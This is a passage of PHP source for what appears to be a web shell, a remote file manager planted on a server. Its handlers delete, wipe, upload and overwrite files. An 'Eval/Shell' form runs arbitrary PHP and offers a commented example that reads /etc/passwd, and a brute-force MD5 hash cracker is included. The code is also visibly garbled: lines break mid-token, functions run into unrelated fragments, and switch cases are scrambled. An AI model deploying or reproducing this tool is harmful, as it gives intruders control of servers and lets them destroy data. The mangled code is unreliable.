obb().exit("<font color=red><b>".mm("Delete cancel")." - ".mm("ACCESS
DENIED")."</b></font>$obb");
Header("Location: $self?c=l&d=".urlencode($d));
echo "<P><a href=$self?c=l&d=".urlencode($d).">".mm("done (go back)")."!<
/a><p>";
echo "".mm("Delete ok")."";
break;
case "touch":
ob();
if (!touch($d.$f))
obb().exit("<font color=red><b>".mm("Touch cancel")." - ".mm("ACCESS D
ENIED")."</b></font>$obb");
Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
echo "<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f).">".mm("don
e (go back)")."!</a><p>";
echo "".mm("Touch ok (set current time to 'modify time')")."";
break;
case "clean":
ob();
$fi=fopen($d.$f,"w+") or
obb().exit("<font color=red><b>".mm("Clean (empty file) cancel")." - "
.mm("ACCESS DENIED")."</b></font>obb");
ftruncate($fi,0);
fclose($fi);
Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
echo "<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f).">".mm("don
e (go back)")."!</a><p>";
echo "".mm("Clean ok (file now empty)")."";
break;
case "wipe":
$size=filesize($d.$f);
ob();
$fi=fopen($d.$f,"w+") or
obb().exit("<font color=red><b>".mm("Wipe cancel - access denied")."</
b></font>$obb");
$str=md5("phpspbru".mt_rand(0,999999999).time());
for ($i=0; $i<5; $i++) $str.=$str; // strlen 1024 byte
for ($i=0; $i<intval($size/1024)+1; $i++) fwrite($fi,$str);
fclose($fi);
ob();
if (!unlink($d.$f))
obb().exit("err# delete 2 - file was rewrite, but not delete...(only w
rite access, delete disable)$obb");
Header("Location: $self?c=l&d=".urlencode($d));
echo "<a href=$self?c=i&d=".urlencode($d).">".mm("done (go back)")."!</a>
<p>";
echo "".mm("Wipe ok (file deleted)")."";
break;
}
//Header("Location: $self?c=l&d=".urlencode(dirname($df)));
//echo "<a href=$self?c=i&d=".urlencode(dirname($df)).">SAVE NEW FILE DONE (g
o back)!</a>";
break;
case "dirdelete":
if (!$write_access) exitw();
function dir_delete($df) {
echo "<b>".basename($df)."</b><ul>";
if ($dir=opendir($df)) {
$i=0;
while (($file=readdir($dir))!==false) {
if ($file=="." || $file=="..") continue;
if (is_dir("$df/$file")) {
dir_delete($df."/".$file);
}
else {
echo "$file<br>";
if (!$write_access) exitw();
if (!realpath($d.$f) || !file_exists($d.$f)) exit("file not found");
if (!isset($text)) exit("err# e_submit 1");
if (!isset($confirm)) exit("Confirm not found (go back and set checkbox)");
if (!$fi=@fopen($d.$f,"w+")) exit("access denied");
fwrite($fi,$text);
fclose($fi);
Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
echo "<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f).">SAVE DONE (go
back)!</a>";
break;
case "newfile_submit":
if (!$write_access) exitw();
if (!isset($text) || !isset($df)) exit("err# newfile_submit 1");
if (!isset($confirm)) exit("Confirm not found (go back and set checkbox)");
if (!$fi=@fopen($df,"w+")) exit("access denied, can't create/open [$df]");
fwrite($fi,$text);
fclose($fi);
Header("Location: $self?c=l&d=".urlencode(dirname($df)));
echo "<a href=$self?c=i&d=".urlencode(dirname($df)).">SAVE NEW FILE DONE (go
back)!</a>";
break;
case "fileupload_submit":
if (!$write_access) exitw();
if (!isset($df)) exit("err# newfile_submit 1");
if (!isset($df3)) exit("err# newfile_submit 2");
$fname="";
if (isset($df2)) {
if (!preg_match("~([^/]+)$~",$HTTP_POST_FILES['userfile']['name'],$ok)) {
exit("Upload failed: can't detect file name");
}
$fname=$ok[1];
}
else {
$fname=$df3;
}
if ($fname=="")
exit("".mm("You mast checked 'create file name automatic' OR typed file nam
e!")."");
if (isset($df4)) $fname=strtolower($fname);
echo "Temp file: ".$HTTP_POST_FILES['userfile']['tmp_name']."<br>";
echo "Origin file name: ".$HTTP_POST_FILES['userfile']['name']."<br>";
echo "File size: ".$HTTP_POST_FILES['userfile']['size']."<br>";
if ($df[strlen($df)-1]!="/") $df.="/";
echo "".mm("SAVING TO").": <font color=blue>$df</font><font color=red><b>$fna
me</b></font><p>";
ob();
$ok=copy($HTTP_POST_FILES['userfile']['tmp_name'],"$df$fname");
obb();
if (!$ok) exit("<font color=red><b>".mm("Sorry, access denied")."</b></font>
$obb");
if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df);
Header("Location: $ref");
echo "<a href='$ref'>NEW FILE SAVED</a>";
break;
case "newdir_submit":
if (!$write_access) exitw();
if (!isset($df)) exit("err# newdir_submit 1");
ob();
if (!mkdir($df,$mkdir_mode)) {
obb();
exit("Access denied $obb");
}
obb();
if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df);
Header("Location: $ref");
echo "<a href='$ref'>Go to new directory!</a>";
break;
case "t":
echo "<h3>
<a href='$self'>START PAGE</a> |
<a href='$self?c=t'>Eval/Shell</a> |
<a href='$self?c=codes'>Character map</a>
</h3>";
if (!$write_access) exitw();
error_reporting(2038);
if (!isset($php)) {
$php="/* line 1 */\n\n// ".mm("for example, uncomment next line").":\nphpi
nfo();\n\n//readfile(\"/etc/passwd\");\n\n/* line 8 */";
$skipphp=1;
$pre='checked';
$nlbr='';
$xmp='';
$htmls='checked';
}
echo "<b>".mm("Eval PHP code")."</b> (".mm("don't type")." \"<?\" ".mm("an
d")." \"?>\")
<form action=$self method=post>
<input type=hidden name=c value=t>
<textarea name=php rows=".(!isset($skipphp)?10:4)." cols=60 style='width:100%;'>
$php</textarea>
<input type=checkbox name=pre value='checked' $pre id='pre'>
<label for='pre'> add <pre></label>
<input type=checkbox name=xmp value='checked' $xmp id='xmp'>
6=>"UnixTime=>Date(".time().")",
8=>"MKtime: YYYY MM DD [hh [mm [ss]]]<br>",
9=>"Translit=>RusText", 14=>"RusText=>Translit<br>",
10=>"cp1251=>koi8r",11=>"koi8r=>cp1251",12=>"cp1251=>mac",13=>"mac=&g
t;cp1251",
15=>"koi8r=>mac",16=>"mac=>koi8r",
);
echo "<P><b>".mm("Universal convert")."</b>";
echo "<a name=convert></a><form action='$self#convert' method=post>";
foreach ($ttype as $k=>$v)
echo " <nobr><input ".($k==$name?"checked":"")." type=radio name
=name value=$k id=x$k><label for=x$k>$v</label></nobr> ";
echo "
<input type=hidden name=c value=t>
<textarea name=convert rows=".(isset($convert)?10:3)." cols=60 style='width:100%
;'>".htmlspecialchars($convert)."</textarea><br>
<input type=submit><br>";
$russtr1="JCUKENGZH_FYVAPROLDESMIT_Bjcukengzh_fyvaproldesmit_b";
$russtr2="";
function from_translit($ss) {
global $russtr1,$russtr2;
$w=array("Sch",'',"SCH",'',"ScH",'',"SCh",'',"sch",'',"Jo",'',"JO",'',"jo",'',
"Zh",'',"ZH",'',"zh",'',"Ch",'',"CH",'',"ch",'',"Sh",'',"SH",'',"sh",'',
"##",'',"''",'',"Eh",'',"EH",'',"eh",'',"Ju",'',"JU",'',"ju",'',"Yu",'',
"YU",'',"yu",'',"YA","","Ya","","ya","","Ja",'',"JA",'',"ja",'');
$c=count($w);
for ($i=0; $i<$c; $i+=2) $ss=str_replace($w[$i],$w[$i+1],$ss);
$ss=strtr($ss,$russtr1,$russtr2);
$ss=preg_replace("!([-]+)~([-]+)!is","\\1\\2",$ss);
return $ss;
}
function to_translit($ss) {
global $russtr1,$russtr2;
$ss=strtr($ss,$russtr2,$russtr1);
$ss=str_replace(
array('', '', '', '', '', '', '', '', '', '', '', '', '', '', ),
array('SH','SCH','ZH','YA','CH','YU','YO','sh','sch','zh','ya','ch','yu
','yo',),
$ss);
return $ss;
}
if (isset($convert)) {
if (!isset($name)) $name="0";
$out="";
switch ($name) {
case 1:
$out=md5($convert);
break;
case 2:
$out=base64_encode($convert);
break;
case 3:
$out=chunk_split(base64_encode($convert));
break;
case 4:
$out=base64_encode($convert);
$out=substr(preg_replace("!.{1,76}!","'\\0'.\n",$out),0,-2);
break;
case 5:
$out=base64_decode($convert);
break;
case 6:
$convert=intval($convert);
if ($convert==0) $convert=time();
$out="Unixtime=$convert\n---Day/Month/Year--\n".
date("d/m/Y H:i:s",$convert)."\n".
date("d-m-Y H:i:s",$convert)."\n".
date("d.m.Y H:i:s",$convert)."\n".
"---Month/Day/Year--\n".
date("m/d/Y H:i:s",$convert)."\n".
date("m-d-Y H:i:s",$convert)."\n".
date("m.d.Y H:i:s",$convert)."\n".
"---------SQL-------\n".
date("Y-m-d H:i:s",$convert)."\n".
date("Y m d H i s",$convert)."\n".
date("YmdHis",$convert);
break;
case 8:
$c=explode(" ",trim(preg_replace("! +!"," ",$convert)));
if (count($c)<3 || count($c)>6) $out="Bad value. Type: 2000 12 31 or
2000 12 31 12 59 59";
else {
if (empty($c[0])) $c[0]=1970;
if ($c[0]<50) $c[0]=2000+$c[0];
if ($c[0]>50 && $c[0]<100) $c[0]=1900+$c[0];
if (empty($c[1])) $c[1]=1;
if (empty($c[2])) $c[2]=1;
if (empty($c[3])) $c[3]=0;
if (empty($c[4])) $c[4]=0;
if (empty($c[5])) $c[5]=0;
$out="TIME: $c[0]-$c[1]-$c[2] $c[3]:$c[4]:$c[5]\nMKTIME: ".mktime
($c[3],$c[4],$c[5],$c[1],$c[2],$c[0]);
}
break;
case 9:
$out=from_translit($convert);
break;
case 14:
$out=to_translit($convert);
break;
case
case
case
case
case
10:
11:
12:
13:
15:
$out=convert_cyr_string($convert,'w','k');
$out=convert_cyr_string($convert,'k','w');
$out=convert_cyr_string($convert,'w','m');
$out=convert_cyr_string($convert,'m','w');
$out=convert_cyr_string($convert,'k','m');
break;
break;
break;
break;
break;
else {
function mdgetword() {
global $php,$from,$word;
$word="";
for ($i=0; $i<count($from); $i++) $word.=$php[$from[$i]];
}
$fulltime=@intval($fulltime);
$fullqty=@intval($fullqty);
$text=strtolower($text);
if (!preg_match("!^[0-9a-f]{32}$!",$text)) exit("md5 bad format: must be 3
2 bytes, range 0-9,a,b,c,d,e,f");
if (!isset($php) || strlen($php)==0) $php="qwertyuiopasdfghjklzxcvbnm";
if (!isset($from) || !preg_match("!^([0-9]+):(([0-9]+,)*[0-9]+)$!",$from,$
ok)) {
$pos=0;
$from=0;
}
else {
$pos=$ok[1];
$from=$ok[2];
}
$from=explode(",",$from);
if (!is_array($from) || !count($from) || count($from)==1 && $from[0]==0) {
$from=array(0);
if (md5("")===$text) exit("** DONE **<br><br>md5('')=$text<br><br>(try
empty string, 0 bytes!)");
}
$phplen=strlen($php);
mdgetword();
$poslen=strlen($word);
if ($pos<0 || $pos>=$poslen) $pos=0;
for ($i=0; $i<10; $i++) { echo "<!-- -->\r\n"; flush(); }
echo "<h3><a href='$self?c=md5crack".
"&from=".urlencode("$pos:".implode(",",$from)).
"&text=".urlencode($text).
"&php=".urlencode($php).
"&fulltime=$fulltime&fullqty=$fullqty".
"'>Save this link</a> - click for break and save current position</h3>"
;
flush();
echo "
MD5_HASH=$text<br>
CURRENT_WORD=$word<br>
CURRENT_DIGIT=$pos:".implode(",",$from)."<br>
RANGE=".htmlspecialchars($php)."<br>
ProcessTime=$fulltime sec (".(floor($fulltime/60/60))."h)<br>
Calculation(qty)={$fullqty}0000<p><font face=courier>";
flush();
$fullsum=pow($phplen,$poslen);
$time1=time();
$i=0;
while (1) {
$i++;
if ($i>50000) {
$time=time()-$time1;
if ($time>20) break;
$i=0;
$sum=0;
for ($j=1; $j<count($from); $j++) $sum+=$from[$j]*pow($phplen,$j);
printf("<nobr><b>%02.2f%%</b> ($word) %02dsec |</nobr> \r\n",
$sum*100/$fullsum,$time);
flush();
$fullqty+=5;
}
if (md5($word)===$text)
exit("<P><font color=red size=+1><b>** DONE **<P><tt>[$word]=[$text]
</tt></b></font>
<script> window.focus(); window.focus(); setTimeout(\"alert('Done!'
)\",100);</script>");
$from[$pos]++;
if ($from[$pos]==$phplen) {
$flag=1;
$from[$pos]=0;
$word[$pos]=$php[0];
for ($pos=$pos+1; $pos<$poslen; $pos++) {
if ($from[$pos]+1<$phplen) {
$from[$pos]++;
$word[$pos]=$php[$from[$pos]];
$flag=0;
$pos=0;
break;
}
else {
$from[$pos]=0;
$word[$pos]=$php[0];
}
}
if ($flag) {
$from[]=0;
$poslen=count($from);
$word.=$php[0];
$pos=0;
$fullsum=pow($phplen,$poslen);
}
}
$word[$pos]=$php[$from[$pos]];
}
$fulltime+=time()-$time1;
if ($i>5000) $fullqty++;
$url="$self?c=md5crack".
"&from=".urlencode("$pos:".implode(",",$from)).
"&text=".urlencode($text).
"&php=".urlencode($php).
"&fulltime=$fulltime&fullqty=$fullqty&go=1";
echo "<script>location.href=\"$url\"</script><a href='$url'>click here</a>
";
}
break;
case "phpinfo":
phpinfo();
break;
case "codes":
error_reporting(2039);
if (!isset($limit)) $limit=999;
if (!isset($fontsize)) $fontsize="300%";
echo "<h3>
<a href='$self'>START PAGE</a> |
<a href='$self?c=t'>Eval/Shell</a> |
<a href='$self?c=codes'>Character map</a>
</h3>";
echo "<h3>".mm("Character map (symbol codes table)")."</h3>
<form action=$self method=get>
<input type=hidden name=c value=\"codes\">
<select name=fontname size=1>
<option value='Webdings'>====[ ".mm("Select font")." ]====";
foreach (array('Arial','Courier','Comic Sans MS','Fixedsys','Small fonts','Sy
mbol',
'System','Tahoma','Terminal','Times New Roman','Verdana',
'Webdings','Wingdings','Wingdings 2','Wingdings 3') as $v)
echo "<option".($fontname==$v?" selected":"").">$v";
echo "</select>
".mm("or type other")."
<input size=13 type=text name=fontname2 value=\"$fontname2\">.
".mm("Font size").": <input size=6 type=text name=fontsize value=\"$fontsize\
">.<br>
".mm("Code limit").":
<input type=radio name=limit value=255 id=a1 ".($limit==255?"checked":"")."><
label for=a1>0-255</label>
<input type=radio name=limit value=999 id=a2 ".($limit==999?"checked":"")."><
label for=a2>0-999 </label>
<input type=radio name=limit value=9999 id=a3 ".($limit==9999?"checked":"")."
><label for=a3>0-9999</label>
<input type=submit value='".mm("Generate table")." !'></form><P>";
if (!isset($fontname)) break;
if (!empty($fontname2)) $fontname=$fontname2;
echo "
<STYLE>
.codes { font: $fontsize $fontname; text-align: center; }
.z { font: 12pt Fixedsys; color: #cccccc; }
</STYLE>
<table class=codes border=0 cellspacing=0 cellpadding=1>";
?>
<SCRIPT>
m=8;
n=1;
s=new String("");
s=s+"<tr><td class=z>&#0000;</td><td> </td>";
for (i=1; i<=<?php echo $limit; ?>; i++) {
if (i<10) x="000"+i;
else if (i<100) x="00"+i;
else if (i<1000) x="0"+i;
else x=i;
if (n%m==0) s=s+"<tr>";
s=s+"<td class=z>&#"+x+";</td>";
s=s+"<td>&#"+x+";</td>";
if (n%m+1==m) s=s+"</tr>";
if (s.length>500) {
document.write(s);
s=""
}
n++;
}
document.write(s);
</SCRIPT>
<?php
echo "</table>";
break;
case "img":
unset($img);
$img=array(
'dir'=>
'R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA'.
'AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp'.
'/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=',
'fon'=>
'R0lGODlhQAYEALMAAAAAAP///6bK8A4obRs2eSlFhDZTkEVjnVRyqWKCtnCQwXyezIiq1pO24J3A'.
'6P///yH5BAEAAA8ALAAAAABABgQAAAT/cMhJq704E7n78EQXjmRpnmcRqizRsgUcz3Rt37QR63zR'.
'GzygcEgsGo8HYNKQbDKfh2Z0Sq1ar9goQsvdeg/eMGJMLpvPaHRivG4j3O14Yk6v2+/4u2K+7yf8'.
'Cn2Bg4SFhoeGC4GKjAqNC4yQkpOUlZaTDJCZmwubngygoaKjpKUNDKepqKipDa6vsLGysg4Ntbe2'.
'tg63u72+v8AOArvDxcLFAsnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx'.
'8vPSGfb3GCAfHBP6IvwgRKBIscJFwREvXMRYkVCGQhw1dPiYSJHiDx8SLwLBeKSjkyUg/5VAGRnl'.
'CUkmWVKCWfmF5UqXX8bAZJmmJpubbt6QWaNzTs+ccOTkwbPnj9GjfIwCKspUqSBEiRxJnbpI6qNG'.
'Vh1d2sopUydNYEF18tp1bClTq06JUqvK1aq0rGbNwvUKl11deIP9Mkasr7Fkwo4do0e4sOHDiBMr'.
'Xsy4sePHkCNLnkzZHL7LmC9s2LdZ34eAAkOjUGGCNAyEBhkqfDiDNcTXGS1O7IFx9sYhHDuKRCIy'.
'pBSSUqgAV7kFS/GXMcHIXK6cDEybOm+e4emzp/Wgdd7E0T50aNNAdADxeTroT3moVQspWrT+0dRI'.
'k7Ju/VrJK/2ynsyG+nr2LSlVrMCVlsIsA8pVCyx05bJLXrzoFQxff0WITGUUVmjhhRhmqOGGHHbo'.
'4YcgepPZiP3wA9A+nJ0o0GchsDjQiwaRFiNCL7R2Wo2vRZRDRbJpdJsQueWm2xImfdTbbkYKNwUU'.
'KjXp0pPMJScGTdBVeZ10V2J3XXdEJaWUHUWZ9yV4ZDqFHnrrZVWVe5VYNZ8l9pF1H3/87ddVf6Oo'.
'JSCAcMHSp1wGKujKXQsGo8uDvgwTWGCKKjMYYCFGKumklFZq6aWYZqrppstEAAA7',
'mode'=>
'R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA'.
'AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO'.
'2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/'.
'dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=',
'refresh'=>
'R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA'.
'AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY'.
'3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ'.
'R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=',
'search'=>
'R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//'.
'/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap'.
's5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD'.
'AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr'.
'Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==',
'setup'=>
'R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC'.
'QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA'.
'ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB'.
'qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE'.
'OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==',
'up'=>
'R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA'.
'AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg'.
'+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV'.
'IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==',
'sort_asc'=>
'R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa'.
'SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==',
'sort_desc'=>
'R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb'.
'SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=',
'exe'=>
'R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7'.
'WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt'.
'xhIAOw==',
'html'=>
'R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz'.
'c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P'.
'KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk'.
'Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR'.
'ADs=',
'txt'=>
'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ'.
'SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7'.
'UpPWG3Ig6Hq/XmRjuZwkAAA7',
'unk'=>
'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANE'.
'SLPcSzCqQKsVQ8JhexBBJnGVYFZACowleJZrRH7lFW8eDbMXaPO1juA2uXiGwBwFKRMeiTPlByrd'.
'yUzYbJao6npVkQQAOw==',
'php'=>
'R0lGODlhEwAQALMAAAAAAP///9fX3d3f7s/S5F1qpmJpjKOqyr7D27i80K+ywEtam4OIk+T/AO7u'.
'7v///yH5BAEAAA8ALAAAAAATABAAAAR08D0wK71VSna47yBHadxhnujRqKRJvC+SJIPKbgJR7DzP'.
'NECNgNFbGI/HhmZQWASezugzsFBKdtJsoEA1aLBTJzTMIDWpRqr6mFgyounswiAgDYjY/FwxGD1K'.
'BAMIg4MJCg41fiUpjAeKjY1+EwCUlZaVGhEAOw==',
'img'=>
'R0lGODlhEwAQALMAAAAAAP///6CgpHFzcVe2Osz/mbPmZkRmAPj4+Nra2szMzLKyspeXl4aGhlVV'.
'Vf///yH5BAEAAA8ALAAAAAATABAAAASA8KFJq00vozZ6Z4uSjGOTSV3DMFzTCGJ5boIQKsrqgoqp'.
'qbabYsFq+SSs1WLJFLgGx82OUWMuXVEPdGcLOmcehziVtEXFjoHiQGCnV99fR4EgFA6DBVQ3c3bq'.
'BIEBAXtRSwIsCwYGgwEJAywzOCGHOliRGjiam5M4RwlYoaJPGREAOw==',
'edit'=>
'R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA'.
'AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze'.
'EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61'.
'LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==',
'papki'=>
'R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo'.
'eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD'.
'Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==',
'home'=>
'R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA'.
'AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS'.
'krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j'.
'VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=',
'back'=>
'R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8'.
'aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt'.
'Wg0JADs='
);
header("Content-type: image/gif");
header("Cache-control: public");
// /*
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
header("Cache-control: max-age=".(60*60*24*7));
header("Last-Modified: ".date("r",filemtime(__FILE__)));
// */
echo base64_decode($img[$name]);
break;
}
?>